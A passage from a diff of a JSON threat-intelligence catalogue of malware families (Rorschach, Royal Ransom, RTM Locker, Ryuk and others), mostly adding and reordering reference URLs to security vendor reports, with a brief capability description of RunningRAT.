"https://research.checkpoint.com/2023/rorschach-a-new-sophisticated-and-fast-ransomware/", + "https://www.group-ib.com/blog/bablock-ransomware/", + "https://medium.com/@simone.kraus/rorschach-ransomware-analysis-with-attack-flow-7fa5ff613a75", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/23/d/an-analysis-of-the-bablock-ransomware-/iocs-an-analysis-of-the-babLock-ransomware.txt" + ], + "synonyms": [ + "BabLock" + ], + "type": [] + }, + "uuid": "86c3434c-ca86-4109-b0fc-61d14d59505c", + "value": "Rorschach Ransomware" + }, { "description": "", "meta": { @@ -39959,7 +42126,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.roshtyak", - "https://decoded.avast.io/janvojtesek/raspberry-robins-roshtyak-a-little-lesson-in-trickery/" + "https://decoded.avast.io/janvojtesek/raspberry-robins-roshtyak-a-little-lesson-in-trickery/", + "https://unit42.paloaltonetworks.com/unsigned-dlls/", + "https://www.trendmicro.com/fr_fr/research/22/l/raspberry-robin-malware-targets-telecom-governments.html", + "https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/" ], "synonyms": [], "type": [] @@ -39972,8 +42142,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rotorcrypt", - "https://id-ransomware.blogspot.com/2016/10/rotorcrypt-ransomware.html", - "https://www.bleepingcomputer.com/forums/t/629699/rotorcrypt-rotocrypt-ransomware-support-topic-tar-c400-c300-granit/" + "https://www.bleepingcomputer.com/forums/t/629699/rotorcrypt-rotocrypt-ransomware-support-topic-tar-c400-c300-granit/", + "https://id-ransomware.blogspot.com/2016/10/rotorcrypt-ransomware.html" ], "synonyms": [ "RotoCrypt", @@ -39989,8 +42159,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rover", - "http://researchcenter.paloaltonetworks.com/2016/02/new-malware-rover-targets-indian-ambassador-to-afghanistan/", - "https://securelist.com/apt-trends-report-q3-2020/99204/" + "https://securelist.com/apt-trends-report-q3-2020/99204/", + "http://researchcenter.paloaltonetworks.com/2016/02/new-malware-rover-targets-indian-ambassador-to-afghanistan/" ], "synonyms": [], "type": [] @@ -40003,15 +42173,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rovnix", - "https://news.drweb.ru/?i=1772&c=23&lng=ru&p=0", "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-RodionovMatrosov.pdf", - "https://0xc0decafe.com/malware-analysts-guide-to-aplib-decompression/", - "http://www.kernelmode.info/forum/viewtopic.php?f=16&t=981", - "https://securelist.com/cybercriminals-switch-from-mbr-to-ntfs-2/29117/", - "https://www.welivesecurity.com/2012/07/13/rovnix-bootkit-framework-updated/", - "http://www.malwaredigger.com/2015/05/rovnix-dropper-analysis.html", - "http://www.malwaretech.com/2014/05/rovnix-new-evolution.html", "https://securelist.com/oh-what-a-boot-iful-mornin/97365", + "http://www.kernelmode.info/forum/viewtopic.php?f=16&t=981", + "http://www.malwaretech.com/2014/05/rovnix-new-evolution.html", + "http://www.malwaredigger.com/2015/05/rovnix-dropper-analysis.html", + "https://www.welivesecurity.com/2012/07/13/rovnix-bootkit-framework-updated/", + "https://0xc0decafe.com/malware-analysts-guide-to-aplib-decompression/", + "https://securelist.com/cybercriminals-switch-from-mbr-to-ntfs-2/29117/", + "https://news.drweb.ru/?i=1772&c=23&lng=ru&p=0", "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/space-pirates-tools-and-connections/", "https://blogs.technet.microsoft.com/mmpc/2014/05/04/the-evolution-of-rovnix-new-virtual-file-system-vfs/" ], @@ -40022,15 +42192,6 @@ ], "type": [] }, - "related": [ - { - "dest-uuid": "a4036a28-3d94-11e8-ad9f-97ada3c6d5fb", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "8d984309-b7fa-4ccf-a6b7-da17283aae2f", "value": "Rovnix" }, @@ -40040,22 +42201,13 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.royalcli", "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", - "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", + "https://www.secureworks.com/research/threat-profiles/bronze-palace", "https://github.com/nccgroup/Royal_APT", - "https://www.secureworks.com/research/threat-profiles/bronze-palace" + "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "ac04d0b0-c6b5-4125-acd7-c58dfe7ad4cf", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "92d87656-5e5b-410c-bdb6-bf028324dc72", "value": "RoyalCli" }, @@ -40065,9 +42217,9 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.royal_dns", "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", - "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", + "https://www.secureworks.com/research/threat-profiles/bronze-palace", "https://github.com/nccgroup/Royal_APT", - "https://www.secureworks.com/research/threat-profiles/bronze-palace" + "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" ], "synonyms": [], "type": [] @@ -40075,14 +42227,49 @@ "uuid": "8611f656-b0d8-4d16-93f0-c699f2af9b7a", "value": "Royal DNS" }, + { + "description": "Ransomware", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.royal_ransom", + "https://www.trellix.com/en-us/about/newsroom/stories/research/a-royal-analysis-of-royal-ransom.html", + "https://www.logpoint.com/en/blog/exploring-the-exploit-of-royal-ransomware/", + "https://www.trendmicro.com/en_us/research/23/b/royal-ransomware-expands-attacks-by-targeting-linux-esxi-servers.html", + "https://yoroi.company/research/reconstructing-the-last-activities-of-royal-ransomware/", + "https://www.bleepingcomputer.com/news/security/new-royal-ransomware-emerges-in-multi-million-dollar-attacks/", + "https://www.microsoft.com/en-us/security/blog/2022/11/17/dev-0569-finds-new-ways-to-deliver-royal-ransomware-various-payloads/", + "https://www.cyber.gov.au/acsc/view-all-content/advisories/2023-01-acsc-ransomware-profile-royal", + "https://www.coalitioninc.com/blog/active-exploitation-firewalls", + "https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023", + "https://unit42.paloaltonetworks.com/royal-ransomware/", + "https://www.cyber.gov.au/about-us/advisories/2023-01-acsc-ransomware-profile-royal", + "https://noticeofpleadings.com/crackedcobaltstrike/files/ComplaintAndSummons/1%20-Microsoft%20Cobalt%20Strike%20-%20Complaint(907040021.9).pdf", + "https://www.kroll.com/en/insights/publications/cyber/royal-ransomware-deep-dive", + "https://medium.com/walmartglobaltech/from-royal-with-love-88fa05ff7f65", + "https://securityscorecard.pathfactory.com/research/the-royal-ransomware", + "https://www.fortinet.com/blog/threat-research/ransomware-roundup-royal-ransomware", + "https://www.trendmicro.com/en_us/research/22/l/conti-team-one-splinter-group-resurfaces-as-royal-ransomware-wit.html", + "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-061a", + "https://socradar.io/dark-web-profile-royal-ransomware/", + "https://www.prodaft.com/m/reports/RIG___TLP_CLEAR-1.pdf", + "https://www.avertium.com/resources/threat-reports/everything-you-need-to-know-about-royal-ransomware", + "https://www.bleepingcomputer.com/news/security/march-2023-broke-ransomware-attack-records-with-459-incidents/", + "https://www.cybereason.com/blog/royal-ransomware-analysis" + ], + "synonyms": [], + "type": [] + }, + "uuid": "df1baad8-e4b6-4507-964c-6e9a8dd5252c", + "value": "Royal Ransom (Windows)" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rozena", + "https://www.fortinet.com/blog/threat-research/follina-rozena-leveraging-discord-to-distribute-a-backdoor", "https://www.socinvestigation.com/threat-actors-delivers-new-rozena-backdoor-with-follina-bug-detection-response/", "https://www.gdatasoftware.com/blog/2019/07/35061-server-side-polymorphism-powershell-backdoors", - "https://www.fortinet.com/blog/threat-research/follina-rozena-leveraging-discord-to-distribute-a-backdoor", "https://www.gdatasoftware.com/blog/2018/06/30862-fileless-malware-rozena" ], "synonyms": [], @@ -40096,14 +42283,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rtm", - "https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/", - "https://www.youtube.com/watch?v=YXnNO3TipvM", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf", - "https://securelist.com/financial-cyberthreats-in-2020/101638/", "https://jonahacks.medium.com/malware-analysis-manual-unpacking-of-redaman-ec1782352cfb", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", "http://www.peppermalware.com/2019/11/brief-analysis-of-redaman-banking.html", - "https://www.welivesecurity.com/2019/04/30/buhtrap-backdoor-ransomware-advertising-platform/" + "https://securelist.com/financial-cyberthreats-in-2020/101638/", + "https://www.youtube.com/watch?v=YXnNO3TipvM", + "https://www.welivesecurity.com/2019/04/30/buhtrap-backdoor-ransomware-advertising-platform/", + "https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/" ], "synonyms": [ "Redaman" @@ -40113,13 +42300,28 @@ "uuid": "e6952b4d-e96d-4641-a88f-60074776d553", "value": "RTM" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.rtm_locker", + "https://www.trellix.com/en-us/about/newsroom/stories/research/read-the-manual-locker-a-private-raas-provider.html" + ], + "synonyms": [ + "Read The Manual Locker" + ], + "type": [] + }, + "uuid": "b299d033-7772-44a6-a8e0-6b8c5f8af5c6", + "value": "RTM Locker" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rtpos", - "https://usa.visa.com/dam/VCOM/global/support-legal/documents/new-pos-malware-samples.pdf", - "http://reversing.fun/posts/2022/01/30/rtpos.html" + "http://reversing.fun/posts/2022/01/30/rtpos.html", + "https://usa.visa.com/dam/VCOM/global/support-legal/documents/new-pos-malware-samples.pdf" ], "synonyms": [], "type": [] @@ -40137,15 +42339,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "d70bd6a8-5fd4-42e8-8e39-fb18daeccdb2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "b88b50c0-3db9-4b8f-8564-4f56f991bee2", "value": "Ruckguv" }, @@ -40162,25 +42355,28 @@ "value": "Rumish" }, { - "description": "", + "description": "NJCCIC characterizes RunningRAT as a remote access trojan (RAT) that operates using two DLL files. When the trojan is loaded onto a system, it executes the first DLL. This is used to disable anti-malware solutions, unpack and execute the main RAT DLL, and gain persistence. The trojan installs a Windows batch file dx.bat that attempts to kill the daumcleaner.exe task, a Korean security program. The file then attempts to remove itself. Once the second DLL is loaded into memory, the first DLL overwrites the IP address for the control server to change the address the trojan communicates with. The second DLL gathers information about the victim's system, including its operating system and driver and processor information. The RAT can log user keystrokes, copy the clipboard, delete files, compress files, clear event logs, shut down the machine, and more. The second DLL also uses several anti-bugging techniques.", "meta": { "refs": [ - "https://malpedia.caad.fkie.fraunhofer.de/details/win.runningrat" + "https://malpedia.caad.fkie.fraunhofer.de/details/win.runningrat", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + ], + "synonyms": [ + "running_rat" ], - "synonyms": [], "type": [] }, "uuid": "b746a645-5974-44db-a811-a024214b7fba", - "value": "running_rat" + "value": "Running RAT" }, { "description": "RURansom shows characteristics of typical ransomware, but despite its name, TrendMicro's assumptions after analysis showed that this malware is more a wiper than ransomware, because the irreversible destruction of encrypted files.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ruransom", + "https://blog.cyble.com/2022/03/11/new-wiper-malware-attacking-russia-deep-dive-into-ruransom-malware/", "https://www.trendmicro.com/en_us/research/22/c/new-ruransom-wiper-targets-russia.html", - "https://blogs.vmware.com/security/2022/04/ruransom-a-retaliatory-wiper.html", - "https://blog.cyble.com/2022/03/11/new-wiper-malware-attacking-russia-deep-dive-into-ruransom-malware/" + "https://blogs.vmware.com/security/2022/04/ruransom-a-retaliatory-wiper.html" ], "synonyms": [], "type": [] @@ -40208,16 +42404,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rustock", - "https://www.usenix.org/legacy/event/hotbots07/tech/full_papers/chiang/chiang_html/index.html", + "https://darknetdiaries.com/episode/110/", "http://blog.threatexpert.com/2008/05/rustockc-unpacking-nested-doll.html", "https://krebsonsecurity.com/2011/03/microsoft-hunting-rustock-controllers/", "http://contagiodump.blogspot.com/2011/10/rustock-samples-and-analysis-links.html", + "https://www.usenix.org/legacy/event/hotbots07/tech/full_papers/chiang/chiang_html/index.html", "https://web.archive.org/web/20160616170611/https://media.blackhat.com/bh-eu-10/presentations/Carrera_Silberman/BlackHat-EU-2010-Carrera-Silberman-State-of-Malware-slides.pdf", - "https://darknetdiaries.com/episode/110/", - "http://www.drweb.com/upload/6c5e138f917290cb99224a8f8226354f_1210062403_DDOCUMENTSArticales_PRDrWEB_RustockC_eng.pdf", - "http://blog.novirusthanks.org/2008/11/i-wormnuwarw-rustocke-variant-analysis/", "https://www.secureworks.com/blog/research-21041", - "http://sunbeltsecurity.com/dl/Rootkit%20Installation%20and%20Obfuscation%20in%20Rustock.pdf" + "http://blog.novirusthanks.org/2008/11/i-wormnuwarw-rustocke-variant-analysis/", + "http://sunbeltsecurity.com/dl/Rootkit%20Installation%20and%20Obfuscation%20in%20Rustock.pdf", + "http://www.drweb.com/upload/6c5e138f917290cb99224a8f8226354f_1210062403_DDOCUMENTSArticales_PRDrWEB_RustockC_eng.pdf" ], "synonyms": [], "type": [] @@ -40230,169 +42426,170 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ryuk", - "https://blog.emsisoft.com/en/35023/bug-in-latest-ryuk-decryptor-may-cause-data-loss/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/trickbot-botnet-ransomware-disruption", - "https://community.riskiq.com/article/c88cf7e6", - "https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/", - "https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html", - "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", - "https://www.advanced-intel.com/post/adversary-dossier-ryuk-ransomware-anatomy-of-an-attack-in-2021", - "https://www.eldiario.es/tecnologia/capos-cibercrimen-avisan-contratacaran-si-hackea-rusia_1_8795458.html", - "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", - "https://news.sophos.com/en-us/2020/10/14/inside-a-new-ryuk-ransomware-attack/", - "https://blog.talosintelligence.com/2020/06/CTIR-trends-q3-2020.html#more", - "https://blog.talosintelligence.com/2020/12/quarterly-ir-report-fall-2020-q4.html", - "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf", - "https://twitter.com/SecurityJoes/status/1402603695578157057", - "https://www.microsoft.com/security/blog/2022/04/13/dismantling-zloader-how-malicious-ads-led-to-disabled-security-tools-and-ransomware/", - "https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/", - "https://www.heise.de/ct/artikel/Was-Emotet-anrichtet-und-welche-Lehren-die-Opfer-daraus-ziehen-4665958.html", - "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", - "https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus", + "https://www.youtube.com/watch?v=LUxOcpIRxmg", + "https://github.com/scythe-io/community-threats/tree/master/Ryuk", + "https://www.domaintools.com/resources/blog/analyzing-network-infrastructure-as-composite-objects", "https://us-cert.cisa.gov/sites/default/files/publications/AA20-302A_Ransomware%20_Activity_Targeting_the_Healthcare_and_Public_Health_Sector.pdf", - "https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Publikationen/Lageberichte/Lagebericht2020.pdf?__blob=publicationFile&v=2", - "https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/", - "https://www.crowdstrike.com/blog/wizard-spider-adds-new-feature-to-ryuk-ransomware/", - "https://www.scythe.io/library/threatthursday-ryuk", - "https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound", - "https://cti-league.com/wp-content/uploads/2021/02/CTI-League-Darknet-Report-2021.pdf", - "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", - "https://storage.pardot.com/652283/16118467480sqebwq7/MSP_Security_Summit___John_Hammond_Huntress___Analyzing_Ryuk.pdf", - "https://www.trmlabs.com/post/analysis-corroborates-suspected-ties-between-conti-and-ryuk-ransomware-groups-and-wizard-spider", - "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", - "https://docs.microsoft.com/en-us/security/compass/human-operated-ransomware", - "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/", - "https://www.advanced-intel.com/post/crime-laundering-primer-inside-ryuk-crime-crypto-ledger-risky-asian-crypto-traders", - "https://www.huntandhackett.com/blog/advanced-ip-scanner-the-preferred-scanner-in-the-apt-toolbox", - "https://blog.cyberint.com/ryuk-crypto-ransomware", - "https://blog.malwarebytes.com/threat-spotlight/2019/12/threat-spotlight-the-curious-case-of-ryuk-ransomware/", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-as-a-service-enabler-of-widespread-attacks", - "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", - "https://decrypt.co/15394/how-ransomware-exploded-in-the-age-of-btc", - "https://securityliterate.com/reversing-ryuk-a-technical-analysis-of-ryuk-ransomware/", - "https://n1ght-w0lf.github.io/malware%20analysis/ryuk-ransomware/", - "https://www.govcert.admin.ch/blog/36/severe-ransomware-attacks-against-swiss-smes", - "https://www.crowdstrike.com/blog/wizard-spider-adversary-update/", - "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-ryuk-ransomware-targeting-webservers.pdf", - "https://www.mandiant.com/resources/fin12-ransomware-intrusion-actor-pursuing-healthcare-targets", - "https://www.cybereason.com/blog/triple-threat-emotet-deploys-trickbot-to-steal-data-spread-ryuk-ransomware", - "https://twitter.com/Prosegur/status/1199732264386596864", - "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", - "https://threatpost.com/apt-exploits-zerologon-targets-japanese-companies/161383/", - "https://krebsonsecurity.com/2022/03/conti-ransomware-group-diaries-part-ii-the-office/", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/wp-spark-state-of-ransomware.pdf", - "https://sites.temple.edu/care/ci-rw-attacks/", - "https://fourcore.io/blogs/ryuk-ransomware-simulation-mitre-ttp", - "https://threatconnect.com/blog/threatconnect-research-roundup-possible-ryuk-infrastructure/", - "https://labs.sentinelone.com/an-inside-look-at-how-ryuk-evolved-its-encryption-and-evasion-techniques/", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", + "https://www.wilbursecurity.com/2020/03/trickbot-to-ryuk-in-two-hours/", + "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", + "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", + "https://blogs.microsoft.com/on-the-issues/2022/04/13/zloader-botnet-disrupted-malware-ukraine/", "https://research.checkpoint.com/ryuk-ransomware-targeted-campaign-break/", - "https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf", + "https://www.mandiant.com/resources/fin12-ransomware-intrusion-actor-pursuing-healthcare-targets", + "https://news.sophos.com/en-us/2020/10/28/hacks-for-sale-inside-the-buer-loader-malware-as-a-service/", + "https://unit42.paloaltonetworks.com/ryuk-ransomware/", + "https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound", + "https://edition.cnn.com/2020/10/28/politics/hospitals-targeted-ransomware-attacks/index.html", + "https://www.bleepingcomputer.com/news/security/ryuk-ransomware-likely-behind-new-orleans-cyberattack/", + "https://www.ironnet.com/blog/russian-cyber-attack-campaigns-and-actors", + "https://www.proofpoint.com/us/blog/threat-insight/q4-2020-threat-report-quarterly-analysis-cybersecurity-trends-tactics-and-themes", + "https://threatpost.com/apt-exploits-zerologon-targets-japanese-companies/161383/", + "https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2019-ACT-005.pdf", + "https://www.clearskysec.com/wp-content/uploads/2021/02/Conti-Ransomware.pdf", + "https://www.huntandhackett.com/blog/advanced-ip-scanner-the-preferred-scanner-in-the-apt-toolbox", + "https://www.eldiario.es/tecnologia/capos-cibercrimen-avisan-contratacaran-si-hackea-rusia_1_8795458.html", "https://blogs.quickheal.com/deep-dive-wakeup-lan-wol-implementation-ryuk/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://thedfirreport.com/2021/01/31/bazar-no-ryuk/", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-as-a-service-enabler-of-widespread-attacks", + "https://www.hhs.gov/sites/default/files/bazarloader.pdf", + "https://twitter.com/SophosLabs/status/1321844306970251265", + "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", + "https://labs.sentinelone.com/an-inside-look-at-how-ryuk-evolved-its-encryption-and-evasion-techniques/", + "https://www.scythe.io/library/threatthursday-ryuk", + "https://ics-cert.kaspersky.com/media/KASPERSKY_H1_2020_ICS_REPORT_EN.pdf", + "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf", + "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", + "https://www.youtube.com/watch?v=Of_KjNG9DHc", + "https://community.riskiq.com/article/c88cf7e6", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/", + "https://www.bleepingcomputer.com/news/security/french-it-giant-sopra-steria-hit-by-ryuk-ransomware/", + "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://blogs.microsoft.com/on-the-issues/2020/10/12/trickbot-ransomware-cyberthreat-us-elections/", "https://www.advanced-intel.com/post/anatomy-of-attack-inside-bazarbackdoor-to-ryuk-ransomware-one-group-via-cobalt-strike", + "https://blog.bushidotoken.net/2022/04/lessons-from-conti-leaks.html", + "https://blog.virustotal.com/2020/10/tracing-fresh-ryuk-campaigns-itw.html", + "https://news.sophos.com/en-us/2020/10/14/inside-a-new-ryuk-ransomware-attack/", + "https://news.sophos.com/en-us/2021/05/06/mtr-in-real-time-pirates-pave-way-for-ryuk-ransomware/", + "https://twitter.com/IntelAdvanced/status/1353546534676258816", + "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html", + "https://www.secureworks.com/research/threat-profiles/gold-ulrick", + "https://arcticwolf.com/resources/blog/karakurt-web", + "https://www.trmlabs.com/post/analysis-corroborates-suspected-ties-between-conti-and-ryuk-ransomware-groups-and-wizard-spider", + "https://www.cybereason.com/blog/triple-threat-emotet-deploys-trickbot-to-steal-data-spread-ryuk-ransomware", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/wp-spark-state-of-ransomware.pdf", + "https://therecord.media/darkside-gang-estimated-to-have-made-over-90-million-from-ransomware-attacks/", + "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", + "https://resources.malwarebytes.com/files/2020/02/2020_State-of-Malware-Report.pdf", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf", + "https://www.fireeye.com/blog/threat-research/2020/03/the-cycle-of-adversary-pursuit.html", + "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-ryuk-ransomware-targeting-webservers.pdf", + "https://www.crowdstrike.com/blog/wizard-spider-adversary-update/", + "https://www.youtube.com/watch?v=HwfRxjV2wok", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://sites.temple.edu/care/ci-rw-attacks/", + "https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Publikationen/Lageberichte/Lagebericht2020.pdf?__blob=publicationFile&v=2", + "https://www.youtube.com/watch?v=BhjQ6zsCVSc", + "https://storage.pardot.com/652283/16118467480sqebwq7/MSP_Security_Summit___John_Hammond_Huntress___Analyzing_Ryuk.pdf", + "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://threatconnect.com/blog/threatconnect-research-roundup-ryuk-and-domains-spoofing-eset-and-microsoft/", + "https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html", + "https://gist.github.com/aaronst/6aa7f61246f53a8dd4befea86e832456", + "https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/", + "https://ia.acs.org.au/article/2019/hospital-cyberattack-could-have-been-avoided.html", + "https://0xchina.medium.com/malware-reverse-engineering-31039450af27", + "https://research.nccgroup.com/2021/03/04/deception-engineering-exploring-the-use-of-windows-service-canaries-against-ransomware/", + "https://blogs.vmware.com/networkvirtualization/2020/11/trick-or-threat-ryuk-ransomware-targets-the-health-care-industry.html/", + "https://areteir.com/wp-content/uploads/2020/08/Arete_Insight_Is-Conti-the-new-Ryuk_August2020.pdf", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://thedfirreport.com/2020/10/08/ryuks-return/", + "https://docs.microsoft.com/en-us/security/compass/human-operated-ransomware", + "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://cti-league.com/wp-content/uploads/2021/02/CTI-League-Darknet-Report-2021.pdf", + "https://blog.talosintelligence.com/2020/12/quarterly-ir-report-fall-2020-q4.html", + "https://blog.sensecy.com/2020/08/20/global-ransomware-attacks-in-2020-the-top-4-vulnerabilities/", + "https://www.govcert.admin.ch/blog/36/severe-ransomware-attacks-against-swiss-smes", + "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v", + "https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware", + "https://github.com/ThreatConnect-Inc/research-team/blob/master/IOCs/WizardSpider-UNC1878-Ryuk.csv", + "https://www.bleepingcomputer.com/news/security/darkside-ransomware-made-90-million-in-just-nine-months/", + "https://community.riskiq.com/article/0bcefe76", + "https://twitter.com/Prosegur/status/1199732264386596864", + "https://twitter.com/anthomsec/status/1321865315513520128", + "https://www.advanced-intel.com/post/adversary-dossier-ryuk-ransomware-anatomy-of-an-attack-in-2021", + "https://www.heise.de/ct/artikel/Was-Emotet-anrichtet-und-welche-Lehren-die-Opfer-daraus-ziehen-4665958.html", + "https://blog.cyberint.com/ryuk-crypto-ransomware", + "https://kc.mcafee.com/resources/sites/MCAFEE/content/live/CORP_KNOWLEDGEBASE/91000/KB91844/en_US/McAfee%20Labs%20Threat%20Advisory%20-%20Ransom-Ryukv6.pdf", + "https://www.youtube.com/watch?v=CgDtm05qApE", + "https://blog.emsisoft.com/en/35023/bug-in-latest-ryuk-decryptor-may-cause-data-loss/", + "https://www.advintel.io/post/advintel-s-state-of-emotet-aka-spmtools-displays-over-million-compromised-machines-through-2022", + "https://www.splunk.com/en_us/blog/security/ryuk-and-splunk-detections.html", + "https://medium.com/ax1al/reversing-ryuk-eef8ffd55f12", + "https://www.carbonblack.com/blog/vmware-carbon-black-tau-ryuk-ransomware-technical-analysis/", + "https://www.bleepingcomputer.com/news/security/ryuk-ransomware-attacked-epiq-global-via-trickbot-infection/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/trickbot-botnet-ransomware-disruption", + "https://twitter.com/ffforward/status/1324281530026524672", + 